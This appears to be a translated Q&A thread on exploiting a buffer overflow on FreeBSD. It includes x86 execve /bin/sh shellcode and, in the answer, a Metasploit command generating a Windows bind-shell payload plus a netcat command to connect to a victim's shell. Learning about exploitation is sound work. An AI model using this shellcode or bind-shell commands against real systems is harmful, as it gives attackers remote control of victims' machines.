【问题标题】:Buffer Overflow - Program terminates after spawning a shell缓冲区溢出 - 程序在生成 shell 后终止
【发布时间】:2012-06-01 18:47:45
【问题描述】:

我一直在 FreeBSD 系统上试验缓冲区溢出。 作为第一个实验,我试图让被利用的程序启动另一个进程(在这种情况下是 /bin/hostname)。一切正常,程序打印了主机名,然后终止。 之后,我尝试让程序生成一个 shell(即执行 /bin/sh)。我假设这可以通过简单地交换代表要调用的程序的字符串来完成。当我尝试这个时,被利用的程序简单地退出,根据 gdb 它确实成功地产生了一个新进程(/bin/sh)。但是,没有生成任何外壳。 然后我尝试了我的第一个漏洞,并将 /bin/sh 文件移动到 /bin/hostname,仍然没有改变任何东西。 我现在的问题是,从任何其他命令执行 /bin/sh 似乎有什么不同?

作为参考,对于 shell 生成尝试,我使用了以下 shellcode:

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x53\xb0\x3b\x50\xcd\x80";

【问题讨论】:

标签: security assembly buffer-overflow shellcode


【解决方案1】:

哈,我明白你的意思,但我相信你犯了一个根本性的错误。您正在调用一个交互式 shell 而不绑定它。

这就像调用“ifconfig”命令。如果你想要执行单个命令,那么你的 shell 代码是完美的,但是如果你想要一个交互式 shell,你不能只运行 sh。

简单地运行 sh 会导致一个 shell 被执行,它不会给你对 shell 的交互控制。


解决方案: 使用 shell 代码生成器创建反向 tcp shell 或绑定 shell,并将其用作您的漏洞利用的有效负载。

如果您尝试在 Metasploit 中执行此操作,那么这里有一个您想要的示例命令。

msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -t c
  • Msfpayload 是函数的名称。 windows/shell_bind_tcp 是 利用路径
  • LPORT 是远程受害机器的端口 将具有可访问的 shell
  • R 用于原始输出
  • 然后我们将它通过管道传递给 msfencode,因为我们需要它是 C 代码才能执行,并且它 必须针对该架构进行编译
  • -e 表示要支持的编码类型和架构,例如用于 Win Sp2
  • -b 表示您可能不会在 shell 代码中使用的字节。例如 00 是字符串字节的结尾
  • -t 是输出类型,为 C 代码。

多研究一点,玩一玩,你就会明白的。从本质上讲,与执行静态命令相比,获得交互式 shell 要困难得多。

完成后,您可以使用netcat之类的程序来连接和使用shell。

netcat.exe -nv <victim ip> <port where shell was bound to>

希望这是正确的解决方案。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2012-08-30
    • 1970-01-01
    • 1970-01-01
    • 2016-01-15
    相关资源
    最近更新 更多